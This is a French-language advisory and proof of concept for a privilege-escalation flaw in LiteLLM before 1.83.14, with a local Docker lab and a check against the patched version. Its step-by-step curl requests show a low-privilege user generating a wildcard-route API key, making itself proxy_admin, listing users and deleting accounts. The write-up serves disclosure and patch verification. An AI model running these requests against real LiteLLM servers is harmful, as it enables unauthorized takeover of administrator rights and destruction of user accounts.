CVE-2026-47101 — Élévation de privilèges LiteLLM via /key/generate + /user/update

LiteLLM v1.82.6 (versions antérieures à 1.83.14) : le point de terminaison /key/generate permet à un internal_user disposant de faibles privilèges de demander une clé API avec une route générique ["/*"], puis d'élever son propre rôle en proxy_admin via le point de terminaison /user/update, réalisant ainsi une élévation de privilèges non autorisée.

Champ	Valeur
CVE	CVE-2026-47101
CVSS v3.1	8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-863 (Incorrect Authorization)
Affecté	LiteLLM < 1.83.14 (confirmé sur v1.82.6)
Corrigé	v1.83.14+ (nouvelle validation des rôles pour allowed_routes)
Publié	2026-05-21
Découvert par	Fenix Qiao (13ph03nix) — Obsidian Security
Liens	NVD

---

Description

Le point de terminaison /key/generate de LiteLLM sert à générer des clés API, et /user/update à mettre à jour les attributs utilisateur. Les contrôles d'autorisation de ces deux points de terminaison présentent trois défauts cohérents qui peuvent être enchaînés par un utilisateur à faibles privilèges :

1. /key/generate ne valide pas allowed_routes — tout rôle (y compris internal_user) peut demander une route générique ["/*"]
2. Le contrôle de route retombe sur la correspondance générique allowed_routes — la clé générique générée peut accéder à tous les points de terminaison d'administration
3. /user/update autorise l'auto-modification du champ user_role — en exploitant la clé générique, un utilisateur peut élever son propre rôle en proxy_admin

Chaîne d'attaque

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  obtient une clé API générique
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  élévation du rôle en proxy_admin
  →  GET  /user/list     (avec la clé générique)
  →  vérification de l'accès administrateur

---

Preuve de concept

Préparation de l'environnement

# 1. Démarrer PostgreSQL + LiteLLM vulnérable (v1.82.6, digest épinglé)
docker compose up -d litellm

# Attendre que le service soit prêt (environ 10-30 secondes)
sleep 15

Vérifier que le service fonctionne

# Examiner les journaux du conteneur
docker logs litellm-privesc 2>&1 | tail -10

La sortie attendue doit contenir des journaux de démarrage réussis tels que Uvicorn running on http://0.0.0.0:4000.

Étape 1 : Créer un compte internal_user

Utiliser la clé master pour créer un compte internal_user à faibles privilèges :

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Sortie attendue :

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Noter les valeurs user_id et key renvoyées ; elles seront nécessaires pour les étapes suivantes.

Étape 2 : Générer une clé API avec route générique

En tant qu'internal_user, appeler /key/generate en demandant une clé API avec la route générique ["/*"] :

# remplacer sk-internal-user-key par la clé obtenue à l'étape précédente
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Sortie attendue :

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Point vulnérable : l'internal_user a réussi à générer une clé API avec la route générique ["/*"] ! Cette clé peut accéder à tous les points de terminaison d'administration, y compris /user/update, /user/list, etc.

Étape 3 : Élévation de privilèges en proxy_admin

Utiliser la clé à route générique pour appeler /user/update et élever le rôle de l'utilisateur en proxy_admin :

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Sortie attendue :

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Point vulnérable : user_role est passé de internal_user à proxy_admin ! Le point de terminaison /user/update permet à un utilisateur de modifier son propre champ user_role, sans aucune restriction de droits.

Étape 4 : Vérifier l'accès administrateur

Vérifier que l'élévation de rôle a pris effet via le point de terminaison /user/list :

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Sortie attendue :

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Le point de terminaison /user/list n'autorise que le rôle proxy_admin. L'obtention réussie de la liste des utilisateurs confirme que l'élévation de privilèges a pris effet.

Étape 5 : Extension — Supprimer un utilisateur administrateur

En exploitant les privilèges proxy_admin obtenus, il est possible de supprimer n'importe quel utilisateur via /user/delete :

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Sortie attendue :

1

---

Reproduction en une commande

Les étapes ci-dessus sont regroupées dans demo.sh, exécutable directement :

# Reproduction complète (étapes 1 à 5 incluses)
bash demo.sh

# Test de comparaison avec la version corrigée
bash demo.sh --fixed

---

Vérification de la version corrigée

Démarrer la version corrigée (v1.83.14-stable) pour vérifier que la vulnérabilité a été corrigée :

# Démarrer la version corrigée
docker compose --profile fixed up -d litellm-fixed

# Attendre que le service soit prêt
sleep 15

Créer un internal_user :

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Tenter de générer une clé avec route générique (blocage attendu) :

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Sortie attendue (la version corrigée bloque la requête non autorisée) :

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Comparaison avec la version vulnérable :

Scénario de test	Version vulnérable (v1.82.6)	Version corrigée (v1.83.14)
internal_user demande ["/*"]	✅ Génération réussie de la clé générique	❌ Bloqué (HTTP 403)
La clé générique modifie user_role	✅ Élévation réussie en proxy_admin	❌ Bloqué
La clé générique accède à /user/list	✅ Obtention réussie de la liste des utilisateurs	❌ Bloqué

---

Points de terminaison vulnérables

POST /key/generate

Génère une nouvelle clé API. Le paramètre allowed_routes sert à limiter la liste des routes auxquelles la clé peut accéder.

Champ	Type	Requis	Description
allowed_routes	array	Non	Liste des routes autorisées, ex. ["/*"] pour toutes les routes

POST /user/update

Met à jour les attributs utilisateur, y compris le champ user_role.